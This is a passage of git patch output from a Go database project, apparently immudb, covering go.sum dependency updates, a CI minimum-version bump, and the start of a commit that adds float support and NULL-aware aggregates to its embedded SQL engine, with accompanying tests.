h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= @@ -746,8 +747,9 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -800,8 +802,9 @@ golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220708220712-1185a9018129 h1:vucSRfWwTsoXro7P+3Cjlr6flUMtzCwzlvkxEQtHHB0= -golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -836,6 +839,7 @@ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -921,12 +925,14 @@ golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d h1:/m5NbqQelATgoSPVC2Z23sR4kVNokFwDDyWh/3rGY+I= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -935,8 +941,9 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -1003,8 +1010,9 @@ golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.5 h1:ouewzE6p+/VEB31YYnTbEJdi8pFqKp4P4n85vwo3DHA= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -1012,7 +1020,6 @@ golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df h1:5Pf6pFKu98ODmgnpvkJ3kFUOQGGLIzLIkbzUHp47618= golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= From fc49caf4a666ef55bd36fbda86f80867f53e0e75 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 17 Mar 2023 16:15:49 +0530 Subject: [PATCH 0337/1062] fix(push.yml): update min go version --- .github/workflows/push.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index af5608fc51..a7c9e2ecbb 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -2,7 +2,7 @@ name: pushCI env: GO_VERSION: "1.18" - MIN_SUPPORTED_GO_VERSION: "1.15" + MIN_SUPPORTED_GO_VERSION: "1.17" on: push: From 2118b17adb372e7547950c7f69658caf11f691c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Mon, 3 Jan 2022 15:27:09 +0100 Subject: [PATCH 0338/1062] feat(embedded/sql): Initial float support MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit chore(embedded/sql): renaming NUMBER into INTEGER Signed-off-by: Michele Meloni fix(embedded/sql): fix float index Signed-off-by: Michele Meloni fix(embedded/sql): add maxFloat64 test cases on float support Signed-off-by: Michele Meloni test(embedded/sql): increase code coverage Signed-off-by: Michele Meloni chore(embedded/sql): add float cast and test edge cases Signed-off-by: Michele Meloni chore(embedded/sql): Improve float parsing Signed-off-by: Bartłomiej Święcki test(embedded/sql): Improve SQL float tests Signed-off-by: Bartłomiej Święcki chore(sql): Convert tabs to spaces in grammar file Signed-off-by: Bartłomiej Święcki fix(sql): Add missing conversion functions to float Signed-off-by: Bartłomiej Święcki test(cmd/immuclient): Test that the client can understand the float type Signed-off-by: Bartłomiej Święcki fix(sql): Add missing float64 conversion Signed-off-by: Bartłomiej Święcki test(pkg/client): Add integration tests for SQL types Signed-off-by: Bartłomiej Święcki chore(embedded/sql): Rename Number to Integer There are distinct types for Integer and Float64 values, Integer better reflects the value hold there. Signed-off-by: Bartłomiej Święcki chore(embedded/sql): Add implicit conversion of values This conversion allows converting integer value to a floating-point one in statements such as `INSERT INTO table(f) VALUES(1)`. chore(embedded/sql): Enable arithmetic operations for floats Signed-off-by: Bartłomiej Święcki chore(embedded/sql): Enable aggregation functions for floats This change also enables aggregate functions over null values in columns. Signed-off-by: Bartłomiej Święcki fix(embedded/sql): Correctly infer parameters for float expressions Signed-off-by: Bartłomiej Święcki fix(embedded/sql): Correctly infer parameters for float aggregate functions Signed-off-by: Bartłomiej Święcki --- cmd/immuclient/cli/cli_test.go | 14 +- cmd/immuclient/cli/sql_test.go | 43 ++ embedded/sql/aggregated_values.go | 117 ++-- embedded/sql/aggregated_values_test.go | 74 ++- embedded/sql/catalog.go | 322 +++++++++- embedded/sql/engine.go | 245 ------- embedded/sql/engine_test.go | 604 +++++++++++++++++- embedded/sql/grouped_row_reader.go | 31 +- embedded/sql/implicit_conversion.go | 31 + embedded/sql/implicit_conversion_test.go | 42 ++ embedded/sql/num_operator.go | 108 ++++ embedded/sql/num_operator_test.go | 115 ++++ embedded/sql/parser.go | 50 +- embedded/sql/parser_test.go | 111 +++- embedded/sql/row_reader.go | 5 +- embedded/sql/sql_grammar.y | 28 +- embedded/sql/sql_parser.go | 556 ++++++++-------- embedded/sql/sql_tx.go | 2 +- embedded/sql/stmt.go | 267 ++++++-- embedded/sql/stmt_test.go | 149 ++++- embedded/sql/union_row_reader.go | 3 +- embedded/store/immustore.go | 38 +- embedded/store/immustore_test.go | 20 +- embedded/store/ongoing_tx.go | 6 +- embedded/store/tx.go | 2 +- embedded/store/tx_reader.go | 4 +- embedded/tools/stress_tool/stress_tool.go | 3 +- pkg/api/schema/docs.md | 1 + pkg/api/schema/row_value.go | 25 + pkg/api/schema/row_value_test.go | 46 ++ pkg/api/schema/schema.pb.go | 20 +- pkg/api/schema/schema.proto | 1 + pkg/api/schema/schema.swagger.json | 4 + pkg/api/schema/sql.go | 4 + pkg/client/sql.go | 4 + pkg/database/database.go | 16 +- pkg/database/scan.go | 4 +- pkg/database/sorted_set.go | 4 +- pkg/database/sql.go | 4 + pkg/integration/replication/docker.go | 16 + pkg/integration/replication/docker_test.go | 16 + pkg/integration/replication/server.go | 16 + pkg/integration/replication/suite.go | 16 + .../synchronous_replication_test.go | 16 + pkg/integration/sql_types_test.go | 99 +++ pkg/pgsql/errors/errors_test.go | 19 +- pkg/pgsql/server/fmessages/bind_test.go | 23 +- pkg/pgsql/server/fmessages/execute_test.go | 21 +- .../fmessages/fmessages_test/payload.go | 16 + pkg/pgsql/server/fmessages/parse_test.go | 21 +- pkg/pgsql/server/request_handler_test.go | 16 + pkg/pgsql/server/stmts_handler.go | 19 +- pkg/pgsql/server/version.go | 16 + pkg/server/db_options.go | 3 +- pkg/server/metrics_funcs.go | 3 +- pkg/server/session.go | 16 + pkg/server/stream_test.go | 16 + pkg/server/streams.go | 4 +- pkg/server/transaction_test.go | 16 + pkg/server/user.go | 16 + pkg/server/webserver.go | 19 +- pkg/stdlib/tx.go | 16 + pkg/stream/kvparser.go | 16 + pkg/stream/ventryparser_test.go | 16 + pkg/stream/zsender_test.go | 16 + pkg/streamutils/files.go | 19 +- pkg/streamutils/files_test.go | 16 + pkg/truncator/truncator.go | 23 +- 68 files changed, 2801 insertions(+), 867 deletions(-) create mode 100644 cmd/immuclient/cli/sql_test.go create mode 100644 embedded/sql/implicit_conversion.go create mode 100644 embedded/sql/implicit_conversion_test.go create mode 100644 embedded/sql/num_operator.go create mode 100644 embedded/sql/num_operator_test.go create mode 100644 pkg/integration/sql_types_test.go diff --git a/cmd/immuclient/cli/cli_test.go b/cmd/immuclient/cli/cli_test.go index 235d475a66..892ca66856 100644 --- a/cmd/immuclient/cli/cli_test.go +++ b/cmd/immuclient/cli/cli_test.go @@ -35,9 +35,7 @@ import ( func TestInit(t *testing.T) { cli := Init(nil) - if len(cli.HelpMessage()) == 0 { - t.Fatal("cli help failed") - } + require.NotEmpty(t, cli.HelpMessage()) } func setupTest(t *testing.T) *cli { @@ -82,6 +80,7 @@ func TestRunCommandExtraArgs(t *testing.T) { }) require.Contains(t, msg, "Redunant argument") } + func TestRunMissingArgs(t *testing.T) { cli := setupTest(t) @@ -107,15 +106,12 @@ func TestCheckCommand(t *testing.T) { msg := test.CaptureStdout(func() { cli.checkCommand([]string{"--help"}, l) }) - if len(msg) == 0 { - t.Fatal("Help is empty") - } + require.NotEmpty(t, msg, "Help must not be empty") + msg = test.CaptureStdout(func() { cli.checkCommand([]string{"set", "-h"}, l) }) - if len(msg) == 0 { - t.Fatal("Help is empty") - } + require.NotEmpty(t, msg, "Help must not be empty") msg = test.CaptureStdout(func() { cli.checkCommand([]string{"met", "-h"}, l) diff --git a/cmd/immuclient/cli/sql_test.go b/cmd/immuclient/cli/sql_test.go new file mode 100644 index 0000000000..a2c9ad2c28 --- /dev/null +++ b/cmd/immuclient/cli/sql_test.go @@ -0,0 +1,43 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package cli + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestSqlFloat(t *testing.T) { + cli := setupTest(t) + + _, err := cli.sqlExec([]string{ + "CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val FLOAT, PRIMARY KEY(id))", + }) + require.NoError(t, err) + + _, err = cli.sqlExec([]string{ + "INSERT INTO t1(val) VALUES(1.1)", + }) + require.NoError(t, err) + + s, err := cli.sqlQuery([]string{ + "SELECT id, val FROM t1", + }) + require.NoError(t, err) + require.Regexp(t, `(?m)^\|\s+\d+\s+\|\s+1\.1\s+\|$`, s) +} diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index b116fa7735..b6182f241b 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -109,7 +109,7 @@ func (v *CountValue) selectorRanges(table *Table, asTable string, params map[str } type SumValue struct { - s int64 + val TypedValue sel string } @@ -122,42 +122,40 @@ func (v *SumValue) ColBounded() bool { } func (v *SumValue) Type() SQLValueType { - return IntegerType + return v.val.Type() } func (v *SumValue) IsNull() bool { - return false + return v.val.IsNull() } func (v *SumValue) Value() interface{} { - return v.s + return v.val.Value() } func (v *SumValue) Compare(val TypedValue) (int, error) { - if val.Type() != IntegerType { - return 0, ErrNotComparableValues - } + return v.val.Compare(val) +} - nv := val.Value().(int64) +func (v *SumValue) updateWith(val TypedValue) error { - if v.s == nv { - return 0, nil + if val.Value() == nil { + // Skip NULL values + return nil } - if v.s > nv { - return 1, nil + if v.val.Value() == nil { + // First non-null value + v.val = val + return nil } - return -1, nil -} - -func (v *SumValue) updateWith(val TypedValue) error { - if val.Type() != IntegerType { - return ErrNotComparableValues + newVal, err := applyNumOperator(ADDOP, v.val, val) + if err != nil { + return err } - v.s += val.Value().(int64) - + v.val = newVal return nil } @@ -216,7 +214,7 @@ func (v *MinValue) Type() SQLValueType { } func (v *MinValue) IsNull() bool { - return false + return v.val.IsNull() } func (v *MinValue) Value() interface{} { @@ -228,7 +226,11 @@ func (v *MinValue) Compare(val TypedValue) (int, error) { } func (v *MinValue) updateWith(val TypedValue) error { - if v.val == nil { + if val.IsNull() { + return nil + } + + if v.val.IsNull() { v.val = val return nil } @@ -248,7 +250,7 @@ func (v *MinValue) updateWith(val TypedValue) error { // ValueExp func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - if v.val == nil { + if v.val.IsNull() { return AnyType, ErrUnexpected } @@ -256,7 +258,7 @@ func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQ } func (v *MinValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { - if v.val == nil { + if v.val.IsNull() { return ErrUnexpected } @@ -309,7 +311,7 @@ func (v *MaxValue) Type() SQLValueType { } func (v *MaxValue) IsNull() bool { - return false + return v.val.IsNull() } func (v *MaxValue) Value() interface{} { @@ -321,7 +323,11 @@ func (v *MaxValue) Compare(val TypedValue) (int, error) { } func (v *MaxValue) updateWith(val TypedValue) error { - if v.val == nil { + if val.IsNull() { + return nil + } + + if v.val.IsNull() { v.val = val return nil } @@ -341,7 +347,7 @@ func (v *MaxValue) updateWith(val TypedValue) error { // ValueExp func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - if v.val == nil { + if v.val.IsNull() { return AnyType, ErrUnexpected } @@ -349,7 +355,7 @@ func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQ } func (v *MaxValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { - if v.val == nil { + if v.val.IsNull() { return ErrUnexpected } @@ -385,7 +391,7 @@ func (v *MaxValue) selectorRanges(table *Table, asTable string, params map[strin } type AVGValue struct { - s int64 + s TypedValue c int64 sel string } @@ -399,44 +405,57 @@ func (v *AVGValue) ColBounded() bool { } func (v *AVGValue) Type() SQLValueType { - return IntegerType + return v.s.Type() } func (v *AVGValue) IsNull() bool { - return false + return v.s.IsNull() +} + +func (v *AVGValue) calculate() TypedValue { + if v.s.IsNull() { + return nil + } + + val, err := applyNumOperator(DIVOP, v.s, &Integer{val: v.c}) + if err != nil { + return &NullValue{t: AnyType} + } + + return val } func (v *AVGValue) Value() interface{} { - return v.s / v.c + return v.calculate().Value() } func (v *AVGValue) Compare(val TypedValue) (int, error) { - if val.Type() != IntegerType { - return 0, ErrNotComparableValues - } - - avg := v.s / v.c - nv := val.Value().(int64) + return v.calculate().Compare(val) +} - if avg == nv { - return 0, nil +func (v *AVGValue) updateWith(val TypedValue) error { + if val.Type() != IntegerType && val.Type() != Float64Type { + return ErrNotComparableValues } - if avg > nv { - return 1, nil + if val.IsNull() { + // Skip NULLs + return nil } - return -1, nil -} + if v.s.IsNull() { + v.s = val + v.c++ + return nil + } -func (v *AVGValue) updateWith(val TypedValue) error { - if val.Type() != IntegerType { - return ErrNotComparableValues + newVal, err := applyNumOperator(ADDOP, v.s, val) + if err != nil { + return err } - v.s += val.Value().(int64) + v.s = newVal v.c++ - return nil } diff --git a/embedded/sql/aggregated_values_test.go b/embedded/sql/aggregated_values_test.go index e312d744d6..68b7a452f0 100644 --- a/embedded/sql/aggregated_values_test.go +++ b/embedded/sql/aggregated_values_test.go @@ -36,18 +36,18 @@ func TestCountValue(t *testing.T) { _, err = cval.Compare(&Bool{val: true}) require.Equal(t, ErrNotComparableValues, err) - cmp, err := cval.Compare(&Number{val: 1}) + cmp, err := cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 0, cmp) err = cval.updateWith(&Bool{val: true}) require.NoError(t, err) - cmp, err = cval.Compare(&Number{val: 1}) + cmp, err = cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 1, cmp) - cmp, err = cval.Compare(&Number{val: 3}) + cmp, err = cval.Compare(&Integer{val: 3}) require.NoError(t, err) require.Equal(t, -1, cmp) @@ -80,34 +80,37 @@ func TestCountValue(t *testing.T) { } func TestSumValue(t *testing.T) { - cval := &SumValue{sel: "db1.table1.amount"} + cval := &SumValue{ + val: &Integer{}, + sel: "db1.table1.amount", + } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) require.False(t, cval.IsNull()) - err := cval.updateWith(&Number{val: 1}) + err := cval.updateWith(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) _, err = cval.Compare(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) - cmp, err := cval.Compare(&Number{val: 1}) + cmp, err := cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 0, cmp) err = cval.updateWith(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrInvalidValue) - err = cval.updateWith(&Number{val: 10}) + err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) - cmp, err = cval.Compare(&Number{val: 10}) + cmp, err = cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 1, cmp) - cmp, err = cval.Compare(&Number{val: 12}) + cmp, err = cval.Compare(&Integer{val: 12}) require.NoError(t, err) require.Equal(t, -1, cmp) @@ -140,10 +143,13 @@ func TestSumValue(t *testing.T) { } func TestMinValue(t *testing.T) { - cval := &MinValue{sel: "db1.table1.amount"} + cval := &MinValue{ + val: &NullValue{}, + sel: "db1.table1.amount", + } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) - require.False(t, cval.IsNull()) + require.True(t, cval.IsNull()) _, err := cval.inferType(nil, nil, "db1", "table1") require.ErrorIs(t, err, ErrUnexpected) @@ -151,12 +157,12 @@ func TestMinValue(t *testing.T) { err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") require.ErrorIs(t, err, ErrUnexpected) - err = cval.updateWith(&Number{val: 10}) + err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) - cmp, err := cval.Compare(&Number{val: 10}) + cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) @@ -166,14 +172,14 @@ func TestMinValue(t *testing.T) { err = cval.updateWith(&Bool{val: true}) require.Equal(t, ErrNotComparableValues, err) - err = cval.updateWith(&Number{val: 2}) + err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) - cmp, err = cval.Compare(&Number{val: 2}) + cmp, err = cval.Compare(&Integer{val: 2}) require.NoError(t, err) require.Equal(t, 0, cmp) - cmp, err = cval.Compare(&Number{val: 4}) + cmp, err = cval.Compare(&Integer{val: 4}) require.NoError(t, err) require.Equal(t, -1, cmp) @@ -206,10 +212,13 @@ func TestMinValue(t *testing.T) { } func TestMaxValue(t *testing.T) { - cval := &MaxValue{sel: "db1.table1.amount"} + cval := &MaxValue{ + val: &NullValue{}, + sel: "db1.table1.amount", + } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) - require.False(t, cval.IsNull()) + require.True(t, cval.IsNull()) _, err := cval.inferType(nil, nil, "db1", "table1") require.ErrorIs(t, err, ErrUnexpected) @@ -217,12 +226,12 @@ func TestMaxValue(t *testing.T) { err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") require.ErrorIs(t, err, ErrUnexpected) - err = cval.updateWith(&Number{val: 10}) + err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) - cmp, err := cval.Compare(&Number{val: 10}) + cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) @@ -232,14 +241,14 @@ func TestMaxValue(t *testing.T) { err = cval.updateWith(&Bool{val: true}) require.Equal(t, ErrNotComparableValues, err) - err = cval.updateWith(&Number{val: 2}) + err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) - cmp, err = cval.Compare(&Number{val: 2}) + cmp, err = cval.Compare(&Integer{val: 2}) require.NoError(t, err) require.Equal(t, 1, cmp) - cmp, err = cval.Compare(&Number{val: 11}) + cmp, err = cval.Compare(&Integer{val: 11}) require.NoError(t, err) require.Equal(t, -1, cmp) @@ -272,17 +281,20 @@ func TestMaxValue(t *testing.T) { } func TestAVGValue(t *testing.T) { - cval := &AVGValue{sel: "db1.table1.amount"} + cval := &AVGValue{ + s: &Integer{}, + sel: "db1.table1.amount", + } require.Equal(t, "db1.table1.amount", cval.Selector()) 